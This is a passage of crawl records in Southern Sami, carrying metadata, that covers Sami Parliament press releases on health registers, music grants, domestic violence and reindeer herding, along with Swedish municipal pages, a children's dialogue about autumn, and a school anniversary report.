madtjeles\nAbpe heevehtimmie akte joekoen stoerre dååjrese sjïdti dovne maanide jïh geerve almetjidie, jalhts ånnetji abroeji dennie byögkeles rïhpestimmesne. Tjåanghkan lij bijjelen 400 almetjh mah lin geajnoem gaavneme dejtie gellie öörnedimmide heevehtimmievåhkoen.\n–Mijjieh aktem joekoen stoerre haestemem utnimh gaajhkesh dovnesh gaavnedh mah lin skuvlesne vaadtseme jïh gaajhkesh dovnesh mah leah daesnie barkeme, men hijven viehkine jeenjesijstie minngemosth gaajhkesh dovnesh gaavnedimh. Abpe heevehtimmie akte stoerre ektiebarkoe orreme. Vååjnoe goh sisvege gaajhkesidie sjïehti dan åvteste dïeves orreme gaajhkine öörnedimmine faageles seminaari raejeste darjomi raajan goh åadtjestimmie jïh vielie. Konserte Kevininie lij dïhte ellen bööremes noeride, mijjese geerve almetjidie lij joekoen hijven feestegaskebiejjesne årrodh, gusnie meehtimh gaavnedidh gaajhkesh dovnesh, heevehtimmien koordinatovre Eva Anette Wilks minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/samimag.no\/sma\/content\/stoerre-heevehtimmie-aarjel-saemiej-skuvlesne","date":"2019-06-19T15:41:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999000.76\/warc\/CC-MAIN-20190619143832-20190619165832-00490.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":395,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Healsoeregisterh åtnasuvvieh juktie bijjieguvviem utnedh gaajhki skïemtjelassi bijjeli Nöörjesne, jïh dotkedh man åvteste skïemtjelassh goh mïetsk-åedtjieh jïh vaajmoeskïemtjelassh åådtje.\n– Vihkeles stuerebe daajrojne\nDaan biejjien ij etnisiteetem registreeredh healsoeregisterinie mah leah vihtiestamme laaken tjïrrh. Daate akte aerpie 2. veartenedåaroen mænngan. Dan åvteste ibie darhkh eensilaakan daejrieh man jïjnje mïetsk-åedtjie jïh vaajmoeskïemtjelassh mah saemien årroji luvnie gååvnesieh. Dagkeres daajroe lea vihkeles juktie skïemtjelassem heerredidh årroji luvnie.\nGosse mijjieh Nöörjesne vuesiehtimmien gaavhtan mïetsk-åedtjiem jallh vaajmoeskïemtjelassem evtiedibie, dellie mijjen dåaktere krïevenassem åtna daam bïeljelidh Kreftregisterasse jallh Hjerte-og kar-registerasse, mij daejtie bïevnesidie ektede mijjen sjïere persovnenommerasse Almetjeregisteristie.\n– Saemiedigkie aaj sæjhta salkehtidh mejtie gåarede saemien etnisiteetem persovnenommerasse ektiedidh, guktie maehtebe stuerebe daajroem åadtjodh healsoen bïjre saemien årroejidie, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nDaan biejjien joe nuepie gååvnese saemien gïelem registreradidh, men dan guhkiem gellie saemieh eah saemien gïelem haalvh dellie daerpies jienebh bievnesh registreradidh. Saemiedigkien veeljemelåhkoe lea ajve akte veeljemelåhkoe jïh ij almetjeregisterinie juhtieh.\nEtnisiteete ajve dotkemeprosjektine\nJalhts ij leah luhpie daan biejjien etnisiteetem registreradidh byögkeles registerinie, dellie læjhkan luhpie dagkeres bievnesh dotkemeprosjektine registreradidh.\nÅrrojegoerehtimmine, goh SAMINOR jïh noerehealsoegoerehtimmine, gellie bïevnesh sïjse tjöönghkesovveme saemien etnisiteeten, skïemtjelassi jïh healsoen bïjre.\n– Daah bïevnesh vihkeles daajroem vadteme saemien almetjehealsoen bïjre, men dah eah leah laantenvijries, jïh daah goerehtimmieh dorjesuvvieh åajvahkommes ajve fïerhten 10. jaepien. Doh healsoeregisterh mah leah vihtiestamme laaken tjïrrh orrestuvvieh ahkedh, leah laantenvijries jïh mijjese fïerhten jaepien statistihkh vedtieh skïemtjelassi bïjre Nöörjesne. Saemiedigkie dan åvteste veanhta healsoeregisterh tjuerieh bïevnesh utnedh saemien etnisiteeten bïjre juktie ållesth daajroem reebledh dan saemien almetjehealsoen bïjre, Mikkelsen jeahta.\nEtihkeles njoelkedassh sæjhta\nLæjhkan vihkeles mujhtedh dennie garremes daaroedehtemeboelhken dellie dotkeme dorjesovvi saemide mij aktem tjïelke naelieideologeles ulmiem utni. Dotkemen gaavhtan dotkijh kroepth mudtsin jih sååjrehke mööledimmieh gåhkoste saemiej åejjiej bïjre darjoejin gelline saemien dajvine guhkiem 2. veartenedåaroen mænngan.\nMikkelsen veanhta daan beajjetje dotkijh jïh healsoeåejvieladth tjuerieh daam histovrijem daejredh, jïh meatodh mojhtesh jïh skaamoe daehtie dotkemistie jïh daaroedehtiemistie annje tjarke jielieminie Saepmesne.\n– Vihkeles healsoedotkemeprosjekth, jïh dagke aaj healsoeregisterh båetijen aejkien, bïevnesh buektieh saemiej healsoen bïjre vååregelaakan jïh veelelaakan naemhtie guktie vielie stigmatiseradimmiem slyöhpoe. Dan åvteste Saemiedigkieraerie etihkeles njoelkedassh saemien healsoedotkemasse gååvnesieh dan varke gåarede, jïh aalka dan åvteste nuepide jïh krïevenasside salkehtidh juktie saemien etnisiteetem registreradidh Almetjeregisterisnie jïh dejnie healsoeregisterinie mah leah vihtiestamme laaken tjïrrh, Mikkelsen jeahta.\nGyhtjelassh jallh gihtjehtimmie, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelen +47 917 42 161","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Nuepiem-salkehte-juktie-saemien-etnisiteetem-registreradidh","date":"2019-07-21T23:58:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527396.78\/warc\/CC-MAIN-20190721225759-20190722011759-00070.warc.gz","language":"sma","language_score":0.9999871254,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999871253967285}","num_words":369,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjonelle unnebelåhkoegïele\nSveerje vïjhte nasjonelle unnebelåhkoegïelh åtna: saemien, såevmiengïele, jiddische, meängïele jïh romani chibe. Jis akte maana meatan akten nasjonelle unnebelåhkojste dïhte reaktam gïeledåarjegistie åtna. Åejvie edtja dåarjegem ietniegïelese faaledh læjhkan jis dïhte ajve akte maana\/akte learohke. Maana\/learohke ij daarpesjh gan maadth daajroem gïelesne utnedh. Gïele ij daarpesjh fïerhten beajjetji gïele gåetesne årrodh.\nJis maadthbarkijidie maahtoem gïeline utnieh man mietie gihtjieh, ij naan sjïere gïeledåarjegasse barkoem vedtien, dellie barkoealmetjh nuhtjebe mah joe gååvnesieh.\nSkuvlegoevtesen webbsijjesne datne maahtah jienebh lohkehtimmien bïjre nasjonelle unnebelåhkoegïeline lohkedh: undervisning i nationella minoritetsspråk.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/are.se\/barnutbildning\/forskola\/gieledaarjege","date":"2019-07-18T20:23:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525793.19\/warc\/CC-MAIN-20190718190635-20190718212635-00550.warc.gz","language":"sma","language_score":0.9999485016,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999485015869141}","num_words":87,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åssjele dåarjojne lea hijven saemien musihkem eevtjedh mij lea jaksoemieresne gaajhkesidie. Daan jaepien dåarjoe lea vadtasovveme dovne daajbaaletje jih aerpievuekien saemien musihkese.\n– Saemien musihke akte vihkeles jïh sjïere bielie mijjen kultuvremïerhkijste. Ohtsemh jïh dåarjoeh vuesiehtieh jïjnje gieltege daennie suerkesne sjugniehtåvva. Gellie sjangerh leah meatan jïh gellie artisth aktem jolle njieptjiem utnieh, saemiedigkieraerie Henrik Olsen jeahta.\nAkte sjïere prosjekte maam sæjhta tjïertestidh lea daelie edtja dam orre filmemusihkem filmese Veiviseren bæjhkoehtidh, jïh Marja Mortensson lea dej gaskem mah leah meatan.\nDåarjoe lea vadtasovveme dovne orre artistide jïh saemien artistide mah joe gååvnesieh. Dej gaskem mah dåarjoem åådtjeme lea Kajsa Balto, Niillas Holmberg, Ville Søderbaum jïh Katarina Barruk.\naaj vadtasovveme bæjhkoehtimmide gusnie joejkeste, dej gaskem Johan Anders Bær, Elen Utsi jïh Juoigiid Searvi, mij edtja heevehtimmiealbumem olkese vedtedh.\n– Mijjieh geerjene juktie dan jeenjesh leah aerpievuekien jallh daajbaaletje vueliem meatan vaalteme sijjen musihkese, Olsen jeahta.\nMubpie ohtsememierie dåarjoeöörnegasse Bæjhkoehtimmie vueleste jïh saemien musihkeste lea voerhtjen 1.b. 2019.\nGyhtjelassh jïh gihtjehtimmieh, gaskesadth saemiedigkieraeriem Henrik Olsen, +47 907 75 219","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkieraerie-1-3-millijovnh-baejhkoehtaemman-vadta-saemien-musihkeste-jih-vueleste","date":"2019-07-21T23:10:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195527396.78\/warc\/CC-MAIN-20190721225759-20190722011759-00102.warc.gz","language":"sma","language_score":0.9998416901,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998416900634766}","num_words":160,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie jïh Nasjonaale daajroejarnge vædtsoesvoeten jïh traumatiske raessien bïjre bæjhkoehti reektehtsem «Jis doesth gihtjedh, almetjh duestieh vaestiedidh», - viehkieabparaaten jïh pollisen dååjrehtimmieh vædtsoesvoetine lïhke fuelhkine saemien siebriedahkine.\nReektehtsen våarome lea soptsestallemh faagealmetjigujmie jïh viehkieabparaatine saemien dajvine, jïh tjoevkesem beaja guktie saemien leerhkehtallijh dååsteme sjidtieh viehkieabparaateste. Reektehtse aaj goerehte mejtie lea tsiehkieh saemien siebriedahken sisnie jallh ålkolen mah gaavnoem vædtsoesvoeteste tsevtsieh.\n- Saemien siebriedahke daarpesje mytam nåhkehtidh dan veaksehke saemien bïjre mij edtja gaajhkem töölledh. Vuajnoeh mah jiehtieh saemien nïejth jïh nyjsenæjjah edtjieh vædtsoesvoetem töölledh sijjen lïhkemes fuelhkeste tjoerebe nåhkehtidh, Wollmann Magga jeahta.\n- Mijjieh aktem siebriedahkem daarpesjibie gusnie ij leah naan toleranse vædtsoesvoetese. Dïedte vædtsoesvoeten jïh daaresjimmien åvteste lea daaresjæjjan luvnie, ij leerhkehtallijen luvnie, Magga jeahta.\nGïele- jïh kultuvremaahtoem fååtese\nReektehtsisnie vååjnesasse båata jeenjesh vuelege seahkarimmiem pollisese jïh viehkieabparaatese utnieh.\n- Vihkeles saemien gïele- jïh kultuvremaahtoem utnedh healsoeabparaatesne jïh pollisesne. Leevles persovneles daaresjimmiej bïjre soptsestidh bööremeslaakan jïjtse ietniengielesne dorje akten viehkieabpaaratese mij guarka mennie siebriedahkesne datne veasoeminie, saemiedigkieraerie Mariann Wollmann Magga jeahta.\nWollmann Magga lea geerjene ihke viehkieabparaate byjhkesje dah tjuerieh væjkalåbpoe sjïdtedh ryöktesth gihtjedh vædtsoesvoeten bïjre.\n- Reektehtse akte vihkeles dïrrege Saemiedægkan sjædta åvtese. Åejvieladtjh tjuerieh daam itjmieslaakan vaeltedh jïh vihties råajvarimmiejgujmie nierhkedh saemien siebriedahkine ektine. Tjoerebe vielie daajroem jïh dotkemem suerkesne åadtjodh, seamma tïjjen tjoerebe riejries årrodh sjeavodsvoetem tsööpkedh jïh orrijidh sinsitniem tsaepmedh, saemiedigkieraerie Mariann Wollmann Magga jeahta.\nVielie bïevnesh:\nSaemiedigkieraerie Mariann Wollmann Magga, 977 02 350","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Jis-doesth-gihtjedh-almetjh-duestieh-vaestiedidh","date":"2019-07-19T13:00:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526237.47\/warc\/CC-MAIN-20190719115720-20190719141720-00007.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":221,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Klicka på bilderna för ett större format.\nBuerie båeteme Hogdaelien voenese\nBuerie båeteme Hogdaelien voenese, Sveerjen geografiske gasketsiehkie!\nHogdaelievoenem eadtjohke lea jïh buerie jaahkoem båetije biejjide åtna. Gietskievoetem gaajhkide hijven lea jïh buerie jielemekvaliteetem vadta, daesnie mijjieh jielemem skaepiedibie guktie sïjhtebe jieledh! Gåessie tjaebpies eatnemem, stoerre skåakigujmie, baektieh jïh gellieh jaevrieh, Hogdaelievoenem gaajh hijven sijjem almetjidie mah sijhtieh vijredh jïh gööledh. Daesnie datne maahtah kaanovem jïh vïnhtsem leejjedh, sygkeldidh, laavkodh jïh vaanterdidh. Pryövh naaken dejstie jaevrijste mah ovmessie guelieh utnieh. Daelvege dle guhkies skovterelaategh jïh laategh vuertieminie.\nVijreme jïh gööleme\nDïsse mij sæjhta maahtoem vïjremisnie jïh vuetjiemisnie övtiedidh dellie buerie nuepieh gååvnese. Sarvevuetjeme-banah jïh bïegkeröövre-vuetjemegåetiem gååvnese jïh aaj aktem vuetjemesimulatovrem gååvnese.\nGeografiske gasketsiehkie\nHogdaelievoenem tjaebpies dajvem lea jïh gellieh ovmessie smaave voenh gååvnese. Ytterhogdaelie njaalmeldh gåhtjoen \"Herjedaelien Venedige\" dan gaavhtan voenem tjaetsie-gaskesne gællesje.\nGielteges kultuvre jïh histovrijem dajvesne\nDejtie mah kultuvreïedtjem utnieh gååvnese jïjnje vuejnedh. Överhogdaelie dovletjegåetie aktem vuesiehtimmiem Överhogdaeliekraanijste vuesehte. Dah leah Europan båarasommes kraanah, 1070-1140 jaepiej miereste. Datne maahtah Ängersjön skåajjemuseeumasse,Vänsjö faamoemuseeumasse, Kvistabäckenen dïmperejuhtemegeajnose mïnnedh jïh Fåssjödaelien goernegåatan mïnnedh mij 1700 miereste lea. Daesnie aaj tjaebpies sïeterh, stoerre el-faamoedammah jïh gielteges eatnemereservaath. Hijven Ragnhildgearkan jïh Ragnhildhaavtan, Lill- jïh Storgumskroeptide, Gierkie-gæstojde, Örafååhperasse jïh Fnussjenen vååltestahkese aaj mïnnedh. Hogdaelievoenesne tjaebpies gærhkoeh aaj gååvnese jïh tjaebpies hïejmevoenegaertenh gusnie giesieprïhtjhgåetieh jïh jeatjah darjomh lea.\nSaavrese\nFaaleldahkem stoerre mijjen voenesne. Daesnie datne maahtah tjengkerem tjïektjedh, voejedh, crossem vuejedh, sjeejsedh, tennisem jïh minigolfem spealadidh. Ytterhogdaelesne aktem buerie vïtnedimmiegåetiem jïh aktem tjaebpies spinningegåetiem gååvnese. Tjengkere tjïektjemem guhkiem stoerre ïedtjem almetjidie Ytterhogdaelesne orreme. Svedjevaellesne, gusnie Tord Grip jïh Tony Gustavsson dej kaarrieride eelkigan, dam saavremem annje jolle daltesisnie spealeden.\nBuerie båeteme mijjen luvnie Hogdaelievoenesne tjöödtjestidh!\nIhke jienebh bïevnesh darjomi- jïh vuesiehtimmiej bïjre gaavnedh jïh aaj daatoe jïh boelhkh ovmessie evenementi bïjre lohkedh, vuartesjh daesnie: hogdalsbygden.se\nSidinformation","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/kommun.herjedalen.se\/omkommunen\/kartor\/informationstavlorikommunen\/informationstavlahogdalsbygden.4.72e78ea1157f6caac3220079.html","date":"2019-08-22T02:44:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027316718.64\/warc\/CC-MAIN-20190822022401-20190822044401-00204.warc.gz","language":"sma","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000046491622925}","num_words":288,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kultuvrejarnge maanide jïh noeride\nKulturcentrum för barn och unga\nKultuvrepedagogihkijh kultuvrepedagogihken prosjekth skuvlesne faelieh jïh aaj ööhpehtimmie jïh viehkiem barkejidie gieh sïjhtieh tjiehpiesdaajhtomem maanide jïh noerde barkedh. Teaterebovren dramatjïerth maanide jïh noeride mej leah luhkien jaepien raejeste luhkieuktsien jaepien raajan lea stoerre bielem dej barkoste.\nAalkuvisnie fïerhten tjaktje jïh gïjre dellie programme maana- jïh fuelhkievuesiehtimmiejgujmie buakta, v.g. teater, musihke jïh daansoe. Dah vuesiehtimmieh daamtaj maanasåajtose aarkbiejjien biejjegen vuesehte jïh ååmegasse laavvadahken jïh aejlegen. Såemies vuesiehtimmieh golmen jaepien raejeste sjiehteles jïh jeatjah dejtie båarasåbpoe maanide. Sjïere kultuvrefaalaldahke Upmeje tjïelten maadthskuvlelearohkidie faala.\nJeenebh bïevnesh\nTelefovne: 090-16 10 00 (viksele)\nSidan har granskats 2009-09-11","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/kultuvre\/kultuvrejarngemaanidejihnoeride.4.2aeb902411d30c9e460800061170.html","date":"2019-08-20T16:45:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315551.61\/warc\/CC-MAIN-20190820154633-20190820180633-00255.warc.gz","language":"sma","language_score":0.999990344,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999903440475464}","num_words":97,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NBR ij \"båajhtoeh\" nænnoestimmieh neajhkoeh\nNöörjen Båatsoesaemiej Rijhkesiebrien åvtehke Ellinor Marita Jåma lea madtjeles Saemiedigkie dellie maaje lea lïhtsegh nammoehtamme Nöörjen Båatsoeståvrose.\n–Mijjieh joekoen madtjeles dejnie, dan åvteste mijjieh limh sïjhteme dam darjodh abpe tïjjem. Hævvi mijjieh aaj dejtie haestiemidie vuejnebe mejtie Saemiedigkie lea vuajneme, haestemh jïh raagkoeh joekedimmie Båatsoeståvrosne. Dïhte ellen bööremes lij læjhkan orreme jis Saemiedigkie lij lïhtsegh nammoehtamme gaajhki boelhki, mearan lij haestemigujmie barkeminie, Jåma jeahta.\nStåvroem leehpi goeven 2017\nSaemiedigkie nænnoesti Saemiedigkie idtji sïjhth lïhtsegh nammoehtidh båatsoeståvrose 2016 dan åvteste Saemiedigkie idtji vuejnieh daate lij maereles ståvroen raagkoeh faamoejoekedimmien gaavhtan. Minngemes aejkien Saemiedigkien nammoehtamme lïhtsegh lin Båatsoeståvroetjåanghkosne lij goeven 2017. Aktene preessebïevnesisnie evteben våhkoen dellie læjhkan Saemiedigkie aamhtesisnie jarkaji jïh ståvroelïhtsegh nammoehti.\n–Saemiedigkie jïh Laanteburrie- jïh beapmoedepartemeente leah rååresjimmiej tjïrrh seamadamme mijjieh edtjebe prosessh tjïrrehtidh juktie saemien meatannænnoestimmiem jïh båatsoefaageles maahtoem nænnoestehtedh nammoehtimmesne båatsoeståvroste åvtese. Destie Saemiedigkie joekoen geerjene, saemiedigkieraerie Silje Karine Muotka jeahta fåantoen bïjre man åvteste daelie lea veeljeme ståvroelïhtsegh nammoehtidh\nDaelie 7 lïhtsegh Båatsoeståvrosne. Saemiedigkie golme nammohte. Staate njieljie dejstie ståvroelïhtsegijstie nammohte. Ståvroen åvtehke veeljesåvva staaten lïhtsegi gaskem.\nLatjkoej bïjre seamadamme\nAnnjebodts Muotka ij sïjhth tjïelke jarkelimmide vuesiehtidh mejtie departemeente lea dåajvoehtamme. Dïhte aajnehke maam maahta åvtelhbodti jiehtedh lea gellie jaepieh konsultasjovnigujmie aktem tjïelke barkoem vadta juktie båatsoeståvroem nænnoestehtedh gosse tjïelke meatannænnoestimmiem jïh båatsoemaahtoem måjhtele åvtese.\n–Im maehtieh soptsestidh guktie galhkuvekabaale sjædta. LBD sæjhta dan bïjre bievnedh gosse dah leah riejries dam darjodh. Båatsoeståvroe annjebodts dam seamma bïhkedassem fulkie, men mijjieh edtjebe aktine tjïelke barkojne nïerhkedh juktie vuartasjidh guktie mijjieh maehtebe ståvroem daerpieslaakan nænnoestehtedh. Manne gujht vïenhtem tsiehkie sæjhta sagke buerebe sjïdtedh, joekoen dan åvteste departemeente daelie jeahta sijjieh sijhtieh vuartasjidh dïsse maam mijjen nammoehtamme båatsoelaakemoenehtse sæjhta juvnehtidh , Muotka jeahta.\nBieliemubpie jaepie bielelen saemieh leah meatan\nBieliemubpiem jaepiem Båatsoeståvroe ij naan saemieh meatan åtneme. Silje Karine Muotka ij maehtieh vaestiedidh mejtie aamhtesh, goh gaskem jeatjah noerhkemeråajvarimmie Jovsset Ante Saran vööste, lin sïjhteme aktem jeatjah illedahkem åadtjodh jis Saemiedigkie lij ståvroelïhtsegh nammoehtamme dan sjyöhtehke boelhken.\n–Im maehtieh vaestiedidh, juktie im bïevnesh dan bïjre utnieh. Im daejrieh mejtie illedahkh lin sïjhteme joekehts sjïdtedh daan beajjetje illedahkijste, dan åvteste ståvroen bïhkedassh lin sïjhteme seammalaakan årrodh aaj dejtie saemien ståvroelïhtsegidie. Dan åvteste geerjene mijjieh edtjebe dïsse vuartasjidh goh tjïelke meatannænnoestimmie jïh maahtoe ståvrosne departemeentine ektine åvtese.\nNBR ij jeatjah illedahkh neajhkoeh\nNBR ånnetji jeatjahlaakan aamhtesasse vuajna. NBR:n åvtehke Ellinor Marita Jåma:\n- Ibie maehtieh aktem jeatjah illedahkem neajhkodh saemien tjirkijigujmie jïh daajrojne. Ij leah aelhkie eevre seekere årrodh, men dellie aamhtese lij sån joekehtslaakan jåhteme ståvroen maahtoen gaavhtan. Daelie gosse departemeente lea dåajvoehtamme ståvrose vuartasjidh jïh orre prosessh tjïrrehtidh, dellie dïhte sån akte dejstie fåantojste man åvteste Saemiedigkie daelie veeljie meatan årrodh. Destie leam aavone. Manne gujht aaj vïenhtem Saemiedigkie eelki vuejnedh ij gåaredh ståvroem jåerhkedh bielelen saemieh leah meatan, Jåma jeahta.\nSaemiedigkieraerie lean daejtie lïhtsegidie nammoehtamme båatsoeståvrose boelhken 2019-2023: Inge Even Danielsen, Inger Marie Gaup, Eira Leif Anders Somby Sæjjasadtjh: Bjørn Thomas Åhren, Inger Marit Eira Åhren, Anders Somby jr.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/samimag.no\/sma\/content\/nbr-ij-baajhtoeh-naennoestimmieh-neajhkoeh","date":"2019-09-15T22:09:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572436.52\/warc\/CC-MAIN-20190915215643-20190916001643-00409.warc.gz","language":"sma","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999935626983643}","num_words":478,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie SáMOS:en pilovtemaanagïerteöörneginie lea maanagïertem saemiedehtedh jïh dan tjïrrh våaromem bïejedh Saemiedigkien SáMOS-prosjektese, juktie saemien maanagïertepedagogihkem jïh barkoevuekiem evtiedidh saemien ussjedimmievuekien mietie.\nAajkoe SáMOS-prosjektine lea pedagogeles barkoem evtiedidh saemien aarvoej mietie, eatnemedaajroe, gïele, kultuvre, stuvreme jïh aerpievuekien daajroeh. Edtja pilovtemaanagïertebarkoem tjïrrehtidh dotkijigujmie ektine Saemien jïlleskuvleste.\nMijjieh aelkebe njieljie pilovtemaanagïertigujmie, jïh dan mænngan jienebh maanagïerth edtjieh meatan vaaltasovvedh. Ohtsememierie golken 15.b.\n– Daelie SáMOS-prosjekte dan gåhkese båateme guktie edtja vihtieslaakan saemien barkoevuekieh dotkedh jïh evtiedidh, saemien maanagïertigujmie ektine. Ïedtjie sjædta dam saemien pedagogeles evtiedimmiem dåeriedidh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, tlf +47 917 42 161","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-SaMOS-pilovtemaanagierth-ohtsede","date":"2019-09-19T13:16:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573519.72\/warc\/CC-MAIN-20190919122032-20190919144032-00556.warc.gz","language":"sma","language_score":0.9999601841,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.99996018409729}","num_words":101,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aah dellie dle tjaktje lea båetieminie, aahka jeahta.\nGuktie dam daajrah? Søøfe gihtjie.\nVuajnam kraesieh leah dle båavjoeminie, aahka jeahta.\nIj leah amma annje gaajhkh kraesieh bååvjeme, Søøfe jeahta. Vuartesjh, daagkoe jijnjh kruana kraesieh! Jih ij hov annje boelteste vååjnh tjaktje, lasth annje kruana.\nNov sån lea jienehke laste kruana, mohte gelliem lehkiem hov Iea\naalkeme vyskedidh, aahka jeahta.\nIm manne annje sijhth vuejnedh tjaktje båata, Søøfe jeahta. Tjaktjege dan jijnje darjodh. Dellie tjoveribie sirvide ohtsedidh, tjøønghkedh jih\ngåetide vuejiehtidh. Dah jis gisesne dan gedtie sjidteme, tjoeveribie guhkiem daamhkodh aerebi goh gåetide buektiehtibie. Jih dellie\ntjoeveribie bietskiedidh, dellie viht aaj gæmhpome sjædta aerebi goh\ndejnie barkojne galhkajibie.\nNåå, giesege hov aaj fuehpie, jillhtsh ij leah gaajhkide mijjide.\nAehtjie gon viellese hov dam fuehpie gosse edtjijægan miesieh\nmearhkodh. Manne åadtjoem vaaran dåeriedidh, jih dihte barre luste.\nTjaktjege sarvah aelkieh gåaljodh, dan måarehke vååjnoeh, manne dejstie\nbarre billem.\nGovlh, tjidtjie gylje! Onnevielle njæjhkoeminie, vaarrh amma viehkehth, vuajnah hov tjidtjie vaarjoeh gåvnjoeminie.\nManne sijhtem vaarjoeh gåvnjodh. Tjidtjie maahta onneviellem\nvaeltedh laavkodh.\nSåvnjoeh amma saedtieh gåptoste jis. Mejnie datne jis teekseme?\nManne aajjam viehkiehtamme gierkieh bååvhkeme!\nJih maam edtji dle aajja dej jis gierkiej gujmie?\nJohketjebealam edtja bertedh jih darhvedh olles muerjielaante gæbpoeh gosse tjaktjeebrieh båetieh, hov jeahta.\nGuktie amma, aahka jis tjearoeminie?\nIjje, daah kroenesaath hov naemhtie, gosse edtja joptsese tsaatsedh,\ndellie dan veaksehke roenge guktie tjelmieh gikngieldieh.","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/sijtijarnge.no\/baavjoeminie\/","date":"2019-09-20T03:37:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573827.2\/warc\/CC-MAIN-20190920030357-20190920052357-00004.warc.gz","language":"sma","language_score":0.9999752045,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999752044677734}","num_words":225,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerie båeteme Kulturanalysese!\n– åejvieladtje kultuvrepolitihken vuarjasjimmide jïh analyside\nKulturanalys lea staaten åejvieladtje man barkoe effekth evtiedimmeste jïh tjïrrehtamme darjomistie vuarjasjidh, analyseradidh, jïh tjïelkestidh kultuvresuerkesne. Dam edtja aalkoetsiehkeste dehtie kultuvrepolitihken ulmijste dorjesovvedh. Kulturanalysen barkoe aaj reerenassem viehkiehtidh rekommendasjovnine jïh våaroeminie guktie staaten kultuvrepolitihkem evtiedidh. 